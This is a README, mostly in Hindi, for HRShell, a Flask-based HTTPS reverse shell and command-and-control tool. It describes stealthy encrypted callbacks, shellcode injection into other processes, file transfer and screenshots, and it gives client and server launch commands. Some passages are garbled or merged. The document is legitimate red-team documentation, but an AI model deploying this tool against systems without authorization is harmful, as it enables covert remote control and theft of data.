
HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.
HRShell एक HTTPS/HTTP रिवर्स शेल है जो Flask के साथ बनाया गया है और python 3.x के साथ संगत है। client.py का सफलतापूर्वक परीक्षण निम्नलिखित पर किया गया है:
जबकि server.py Unix सिस्टम के साथ संगत है (Windows समर्थन जल्द ही आ रहा है...)
migrate <PID>) उसके PID निर्दिष्ट करके
cd कमांड और वेरिएंट)।history कमांड उपलब्ध।download/upload/screenshot/hex कमांड उपलब्ध।|) और श्रृंखलित कमांड (;) समर्थित हैंgunicorn और के साथ भी संगत है।*संस्करण परिवर्तनों के लिए CHANGELOG देखें।
HRShell गुप्त है क्योंकि यह क्लाइंट और सर्वर के बीच संचार की विधि के रूप में HTTP(S) प्रोटोकॉल का उपयोग करता है। इसके अतिरिक्त जब TLS उपयोग में होता है तो ट्रैफ़िक भी एन्क्रिप्टेड होता है। साथ ही यदि CERT क्लाइंट-साइड पर हार्ड-कोडेड नहीं है (जो एक संभव विकल्प है) और upload कमांड का उपयोग नहीं किया जाता है, तो client.py डिस्क को बिल्कुल स्पर्श नहीं करता है।
सर्वर-साइड:
जब तक --http विकल्प निर्दिष्ट नहीं किया जाता है, डिफ़ॉल्ट रूप से server.py ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके HTTPS है, क्योंकि ऑन-द-फ्लाई प्रमाणपत्र एक अंतर्निहित Flask-सुविधा हैं। लेकिन यदि सर्वर को TLS का उपयोग करने के लिए -s tornado विकल्प निर्दिष्ट किया गया है, तो --cert और --key विकल्पों को इस प्रकार निर्दिष्ट किया जाना चाहिए:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
या तो "वास्तविक" प्रमाणपत्रों का उपयोग किया जा सकता है या cert/key जोड़ी उत्पन्न करने का दूसरा तरीका उदा. mkcert या openssl का सीधे उपयोग करना है जैसे:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
एक cert/key जोड़ी का उपयोग Flask-सर्वर के साथ भी किया जा सकता है:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ यदि सर्वर TLS का उपयोग कर रहा है, तो डिज़ाइन के अनुसार क्लाइंट सर्वर से कनेक्ट करने के लिए
http://...का उपयोग नहीं कर सकता है, बल्कि उसे स्पष्ट रूप सेhttpsका उपयोग करना होगा।
क्लाइंट-साइड: डिफ़ॉल्ट रूप से क्लाइंट का SSL सत्यापन अक्षम है, जब तक:
--cert पैरामीटर निर्दिष्ट किया गया हो उदा.:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT वेरिएबल, डिफ़ॉल्ट None मान के बजाय, पहले से एक मान्य प्रमाणपत्र के साथ सेट किया गया हो उदा.:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
⚠️ कि क्लाइंट पर SSL सत्यापन डिफ़ॉल्ट रूप से अक्षम है, इसका किसी भी स्थिति में यह मतलब नहीं है कि TLS भी अक्षम है, TLS सक्षम होगा यदि सर्वर इसका उपयोग करता है - इसलिए TLS पूरी तरह से सर्वर पर निर्भर करता है।
--certविकल्प क्लाइंट पर सर्वर-क्लाइंट के लिए एक एन्क्रिप्टेड सत्र होने के वैकल्पिक तरीके के रूप में है और बस इतना ही।
शेलकोड इंजेक्शन के दो "मोड" हैं जो क्रमशः निम्नलिखित दो कमांड का उपयोग करते हैं:
migrate <PID>: इस कमांड का उपयोग करके हम किसी अन्य प्रक्रिया के मेमोरी स्पेस में उसका PID निर्दिष्ट करके शेलकोड इंजेक्ट कर सकते हैं। अभी के लिए यह कमांड केवल Windows x86/x64 प्लेटफ़ॉर्म पर लागू किया जा सकता है!
inject shellcode: इस कमांड का उपयोग करके हमारी वर्तमान प्रक्रिया का एक नया थ्रेड (या Unix सिस्टम पर स्पॉन की गई प्रक्रिया) बनाया जाता है और शेलकोड इंजेक्शन उसके मेमोरी स्पेस में होता है। परिणामस्वरूप, हमारा HTTP(S) शेल इंजेक्शन से प्रभावित नहीं होता है। जिन प्लेटफ़ॉर्मों पर यह कमांड लागू किया जा सकता है वे हैं: Unix x86/x64, Windows x86 प्लेटफ़ॉर्म!
दो तरीके हैं जिनसे आप निर्दिष्ट/सेट कर सकते हैं कि आप क्लाइंट को किस प्रकार का शेलकोड निष्पादित करना चाहते हैं:
client.py स्क्रिप्ट पर shellcode वेरिएबल को एक मान्य शेलकोड के रूप में प्री-सेट करें याset shellcode <shellcode-id> कमांड का उपयोग करें। इस कमांड से आप सर्वर-साइड से क्लाइंट-साइड पर अपने शेलकोड को जितनी बार चाहें अपडेट कर सकते हैं!
पहला तरीका काफी सीधा है। हालांकि दूसरे और अधिक सुविधाजनक तरीके का उपयोग करने के लिए (क्योंकि आप पहले से निर्दिष्ट शेलकोड को भी संशोधित कर सकते हैं) आपको shellcodes/utils.py स्क्रिप्ट को इस प्रकार सेट करना होगा कि इसमें आपकी पसंद का शेलकोड(कोड) हो। स्क्रिप्ट में एक उदाहरण है कि आप ऐसा कैसे कर सकते हैं।
💡 आप
shellcodes/utils.pyस्क्रिप्ट कोserver.pyलॉन्च करने के बाद भी जितनी बार चाहें संशोधित/अपडेट कर सकते हैं, क्योंकिserver.pyगतिशील रूप से सबसे नवीनतम/हालिया संस्करण का उपयोग करेगा। इस तरह आप चलते-फिरते शेलकोड सेट और संशोधित कर सकते हैं...
विशेष कमांड:
कोई भी अन्य कमांड समर्थित है यदि वह इंटरैक्टिव नहीं है जैसे जैसे gdb, top आदि। साथ ही python server.py -h या python client.py -h टाइप करके आप सर्वर और क्लाइंट के उपलब्ध तर्कों के बारे में जानकारी प्राप्त कर सकते हैं।
नोट: यदि कोई क्लाइंट सर्वर से जुड़ा है और हम सर्वर को समाप्त करना चाहते हैं, तो CTRL+C दबाने से पहले, हमें exit कमांड का उपयोग करके कनेक्शन को बंद करना होगा।
क्लाइंट-साइड:
एक कस्टम कमांड बनाने के लिए, सामान्यतः:
elif स्टेटमेंट के रूप में जोड़ा जाना चाहिए।सर्वर-साइड:
यदि कमांड सर्वर-साइड पर एक नए-एंडपॉइंट के अस्तित्व की मांग करता है, तो:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
यदि आवश्यक हो तो दस्तावेज़ीकरण
"""
...
return ...
handleGET() संपादित करें:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() में उपयुक्त संपादन करें।दोनों स्क्रिप्ट (server.py और client.py) को तर्कों के माध्यम से अनुकूलित किया जा सकता है:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: एक HTTP(S) रिवर्स-शेल सर्वर उन्नत सुविधाओं के साथ।
तर्क:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
-s , --server उपयोग करने के लिए HTTP(S) सर्वर निर्दिष्ट करें (डिफ़ॉल्ट: flask)।
-c , --client केवल निर्दिष्ट क्लाइंट/IP से कनेक्शन स्वीकार करें।
--host उपयोग करने के लिए IP निर्दिष्ट करें (डिफ़ॉल्ट: 0.0.0.0)।
-p , --port उपयोग करने के लिए पोर्ट निर्दिष्ट करें (डिफ़ॉल्ट: 5000)।
--http TLS अक्षम करें और HTTP का उपयोग करें।
--cert उपयोग करने के लिए प्रमाणपत्र निर्दिष्ट करें (डिफ़ॉल्ट: None)।
--key उपयोग करने के लिए संबंधित निजी कुंजी निर्दिष्ट करें (डिफ़ॉल्ट: None)।
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: एक HTTP(S) क्लाइंट उन्नत सुविधाओं के साथ।
तर्क:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
-s , --server कनेक्ट करने के लिए एक HTTP(S) सर्वर निर्दिष्ट करें।
-c , --cert उपयोग करने के लिए एक प्रमाणपत्र निर्दिष्ट करें।
-p , --proxy उपयोग करने के लिए एक प्रॉक्सी निर्दिष्ट करें [प्रारूप: host:port]
सर्वर-आवश्यकताओं को स्थापित करने के लिए:
pip install -r requirements.txt --upgrade --user
प्रतिक्रिया और योगदान का स्वागत है। यदि आपको कोई बग मिलता है या कोई फीचर अनुरोध है तो बेझिझक एक मुद्दा खोलें, और जैसे ही मैं इसकी समीक्षा करूंगा, मैं इसे ठीक करने का प्रयास करूंगा।
यह उपकरण केवल परीक्षण और शैक्षणिक उद्देश्यों के लिए है और इसका उपयोग केवल वहीं किया जा सकता है जहां सख्त सहमति दी गई हो। इसे अवैध उद्देश्यों के लिए उपयोग न करें! अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करे। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस उपकरण और सॉफ्टवेयर के सामान्य रूप से दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
hexdump फ़ंक्शन इस शानदार gist से लिया गया है।यह प्रोजेक्ट GPLv3 लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
server.py और client.py दोनों आसानी से विस्तार योग्य हैं।